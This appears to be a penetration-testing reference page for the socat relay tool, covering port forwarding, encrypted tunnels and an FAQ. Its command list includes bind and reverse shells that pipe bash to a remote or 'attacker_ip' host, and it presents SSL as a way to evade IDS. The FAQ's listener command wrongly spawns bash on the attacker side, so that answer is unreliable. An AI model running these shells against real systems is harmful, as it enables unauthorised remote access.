GO KALI FREE

Socat

Maintaining Access

Intermediatehigh risk

Socat is a command line based utility that establishes two bidirectional byte streams and transfers data between them, widely used for establishing shells, port forwarding, and encrypted connections.

Installation

sudo apt install socat

Basic Syntax

socat [options] <address1> <address2>

Quick Facts

Full Name
SOcket CAT
License
GNU GPL v2
Author
Gerhard Rieger
Written In
C
Platforms
Linux, Windows, macOS, BSD
Category
Maintaining Access / Networking
First Release
2009
Protocols
TCP, UDP, SCTP, UNIX, SSL

Tool Overview

Socat (SOcket CAT) is a powerful command-line utility that establishes two bidirectional byte streams and transfers data between them. It acts as a multipurpose relay tool, capable of connecting virtually any two data endpoints together.

Socat supports a vast array of address types including TCP, UDP, SCTP, UNIX domain sockets, pipes, files, SSL/TLS, and PTY devices. This makes it invaluable for penetration testers who need to create reverse shells, forward ports through firewalls, or tunnel traffic over encrypted channels.

Unlike simpler tools like Netcat, Socat provides advanced features such as SSL encryption, data manipulation, forking for multiple connections, and complex address chaining. It is an essential tool in every security professional's arsenal for network relay and post-exploitation pivoting.

Common Commands

socat -VPrint the socat version and the features compiled in (OpenSSL, readline, etc.).
socat -hhhShow the full help including every supported address type and option.
socat - TCP:10.10.10.10:4444Connect to a TCP port and bridge it to STDIO, working like a netcat client.
socat - TCP-LISTEN:4444,reuseaddrListen on a TCP port and bridge to STDIO, working like a netcat listener.
socat -v TCP-LISTEN:8080,fork TCP:example.com:80Relay traffic to a remote service while printing all transferred data to stderr.
socat -x -v TCP-LISTEN:8080,fork TCP:example.com:80Same relay but dump the data as hex for protocol inspection.
socat -d -d TCP-LISTEN:8080,reuseaddr,fork TCP:example.com:80Run a forwarding relay with verbose diagnostic logging (two -d for more detail).
socat TCP-LISTEN:4444,reuseaddr,fork EXEC:/bin/bashOpen a bind shell that spawns /bin/bash for each incoming TCP connection.
socat TCP:10.10.10.10:4444 EXEC:/bin/bashConnect back to a listener and pipe a bash process to it (reverse shell).
socat file:`tty`,raw,echo=0 TCP-LISTEN:4444Attacker-side listener that provides a fully interactive TTY for the incoming shell.
socat TCP:10.10.10.10:4444 EXEC:'bash -li',pty,stderr,setsid,sigint,saneVictim-side reverse shell that allocates a PTY for a fully interactive session.
socat TCP-LISTEN:8080,reuseaddr,fork TCP:10.10.10.10:80Forward a local TCP port to a remote host and port (pivot/port forward).
socat UDP-LISTEN:53,reuseaddr,fork UDP:10.10.10.10:53Relay UDP datagrams (e.g. DNS) between a local port and a remote server.
socat TCP-LISTEN:8080,reuseaddr,fork UNIX-CONNECT:/var/run/docker.sockExpose a local UNIX domain socket (such as the Docker API socket) over TCP.
socat UNIX-LISTEN:/tmp/mysql.sock,fork TCP:10.10.10.10:3306Present a remote TCP service as a local UNIX socket for legacy clients.

Step-by-Step Guide

  1. 1Launch the listening service on your control machine
  2. 2Trigger the execution command on the compromised host
  3. 3Catch the incoming connection stream
  4. 4Implement SSL parameters if you need to hide the traffic payload
  5. 5Configure routing rules to pivot traffic into deeper networks

Use Cases

Reverse Shell

Establish reverse shell connections from compromised targets back to your listener.

Port Forwarding

Forward TCP/UDP ports through firewalls and NAT boundaries for internal access.

SSL Encryption

Wrap plaintext connections in SSL/TLS to evade detection and IDS systems.

Data Relay

Bidirectional relay between different protocols such as TCP to UNIX sockets or files.

TTY Shell

Create fully interactive TTY shells with proper terminal handling for post-exploitation.

File Transfer

Transfer files between systems by connecting file descriptors to network sockets.

Key Features

Related Tools

Netcat

Maintaining Access

Simple networking utility for TCP/UDP connections and basic port scanning.

Ncat

Maintaining Access

Nmap's enhanced Netcat with SSL and connection brokering features.

Chisel

Maintaining Access

Fast TCP/UDP tunnel over HTTP with SSH encryption for firewall bypass.

Ligolo-ng

Maintaining Access

TUN interface-based tunneling tool for easy network pivoting.

ProxyChains

Maintaining Access

Force any app's TCP traffic through proxy chains for anonymization.

Wireshark

Sniffing & Spoofing

Deep packet inspection and protocol analysis for traffic verification.

Frequently Asked Questions

What is Socat used for?

Socat is a command-line utility that establishes two bidirectional byte streams and transfers data between them. It is used for creating network connections, port forwarding, setting up reverse and bind shells, SSL encryption, and relaying data between different protocols like TCP, UDP, UNIX sockets, and files.

How do I set up a reverse shell with Socat?

On the attacker machine, listen with: socat TCP-L:4444,fork EXEC:/bin/bash. On the target, connect back with: socat TCP:attacker_ip:4444 EXEC:/bin/bash,pty,stderr. For encrypted shells, use OPENSSL-LISTEN and OPENSSL-CONNECT instead of TCP.

Is Socat better than Netcat?

Socat is generally more powerful than Netcat because it supports more address types (SSL, SCTP, UNIX sockets, pipes, files), offers better data manipulation options, and handles more complex relay scenarios. However, Netcat is simpler and more commonly pre-installed on systems.

Can Socat encrypt connections?

Yes, Socat can encrypt connections using OpenSSL by using OPENSSL-LISTEN and OPENSSL-CONNECT address types instead of TCP. You can generate self-signed certificates or use existing PKI infrastructure to create encrypted tunnels for secure communication.

Tags

#maintaining-access#shells#port-forwarding#networking

Ethical Usage Notice

This tool is designed for authorized security testing, educational purposes, and legitimate network administration only. Unauthorized access to computer systems is illegal.